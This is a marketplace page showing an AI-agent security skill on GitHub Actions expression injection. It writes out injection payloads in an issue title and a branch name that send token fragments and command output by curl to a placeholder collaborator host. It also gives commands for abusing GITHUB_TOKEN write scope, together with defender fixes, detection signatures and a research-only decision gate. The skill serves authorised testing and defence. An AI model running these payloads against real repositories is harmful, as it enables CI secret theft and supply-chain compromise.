Skip to main content

github-actions-injection

GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
١ يونيو ٢٠٢٦ في ٢٣:٠٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
github-actions-injection
description
GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"github actions expression injection script injection pull_request_target github_token actions/checkout artifact cache action pinning sha tag","tags":"ci-cd, github-actions, expression-injection, script-injection","mitre_attack":"T1059, T1078.004, T1554"}
# GitHub Actions Expression Injection `${{ <expr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes. ## Untrusted context — the sinks These fields are attacker-controllable in fork PRs, issues, comments, branches: | Context | Source | Notes | |---|---|---| | `github.event.issue.title` / `.body` | issue create / edit | any logged-in user | | `github.event.pull_request.title` / `.body` | PR create / edit | any forker | | `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\`` are valid Git branch chars | | `github.event.comment.body` | issue/PR comment | broad reach | | `github.event.review.body` / `.review_comment.body` | PR review | | | `github.event.head_commit.message` / `.commits[*].message` | push / PR | newlines allowed | | `github.event.pages[*].page_name` | `gollum` wiki | | | `github.head_ref` | shorthand for PR head branch | same as above | ## Recon — find injection sinks ```bash # Direct ${{ }} into run: blocks grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \ <REPO>/.github/workflows/ # actionlint flags most of these docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color ``` ## Sink pattern — the vulnerable workflow ```yaml # VULNERABLE on: [issues, pull_request_target] jobs: triage: runs-on: ubuntu-latest steps: - name: Echo title run: | echo "New issue: ${{ github.event.issue.title }}" # <-- sink ``` ## Exploit payload — issue title Open an issue titled: ``` hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) # ``` Runner expands to: ```bash echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #" ``` The shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.) ## Branch-name injection ```bash # Fork → create branch with a shell-meta name git checkout -b 'x";curl -s https://<COLLAB>/$(id)#' git commit --allow-empty -m bn git push origin HEAD gh pr create --title typo --body typo --repo <OWNER>/<REPO> ``` If any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result. ## `pull_request_target` + PR-head checkout ```yaml # VULNERABLE on: pull_request_target jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { ref: ${{ github.event.pull_request.head.sha }} } - run: npm ci && npm test ``` Two attack paths on the same workflow: 1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution/SKILL.md`). 2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title / body / branch name. ## Safe pattern (defender) ```yaml # Pass via env, never interpolate directly - name: Echo title env: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "New issue: $ISSUE_TITLE" ``` `$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable. ## `GITHUB_TOKEN` permission abuse If the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo / org default is — historically `read-all` / `write-all`. With write scope you can: ```bash # From inside the runner — push to a release branch via the token git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git" git push origin HEAD:refs/heads/release/x # Create a release gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # Approve + merge a PR (if `contents: write` + `pull-requests: write`) gh pr merge <N> --merge --admin ``` Always check the effective scope: ```bash # Inside the job — see what the token can do curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes gh api /repos/$GITHUB_REPOSITORY --jq '.permissions' ``` ## Artifact / cache poisoning `actions/cache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions/upload-artifact` followed by a deploy job that downloads + executes. ```yaml # Smell — artifact used as build input without integrity check - uses: actions/download-artifact@v4 with: { name: build } - run: ./build/release.sh # <- if attacker poisoned `build`, this runs attacker code ``` ## Third-party action pinning ```yaml # Tag-pinned — silently movable by the action author or anyone who hijacks the repo - uses: tj-actions/changed-files@v44 # SHA-pinned — immutable - uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 ``` `tj-actions/changed-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk. ```bash # List every third-party action and its pin style across the org gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \ | xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \ | base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@' ``` ## Detection signatures | Signal | Defender view | |---|---| | `${{ github.event.*.title \| .body \| .ref \| .message }}` in `run:` | static lint (actionlint, zizmor) | | Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org | | `pull_request_target` + `actions/checkout` with `head.sha`/`head.ref` | zizmor rule `dangerous-checkout` | | Token scopes `write-all` w/ no `permissions:` block | repo / org default token policy | | Tag-pinned third-party action | `dependabot.yml` action-update review | ## Tools | Tool | Use | |---|---| | `actionlint` | First-line static check; flags 90% of expression-injection sinks | | `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns | | `octoscan` | Workflow scanner with PoC generation hints | | `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs | | `gato-x` (praetorian-inc) | End-to-end PPE / expression-injection automation | ## Decision gate 1. Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only. 2. Use `interactsh` / Burp Collaborator for the beacon. Do not POST the token anywhere durable. 3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured. ## References - GitHub Security Lab — "Keeping your GitHub Actions and workflows secure" - "Untrusted input" sink list — github.com/github/securitylab/issues - `tj-actions/changed-files` (CVE-2025-30066) post-mortem - Synacktiv, NCC Group, Praetorian — Actions injection writeups
عرض على GitHub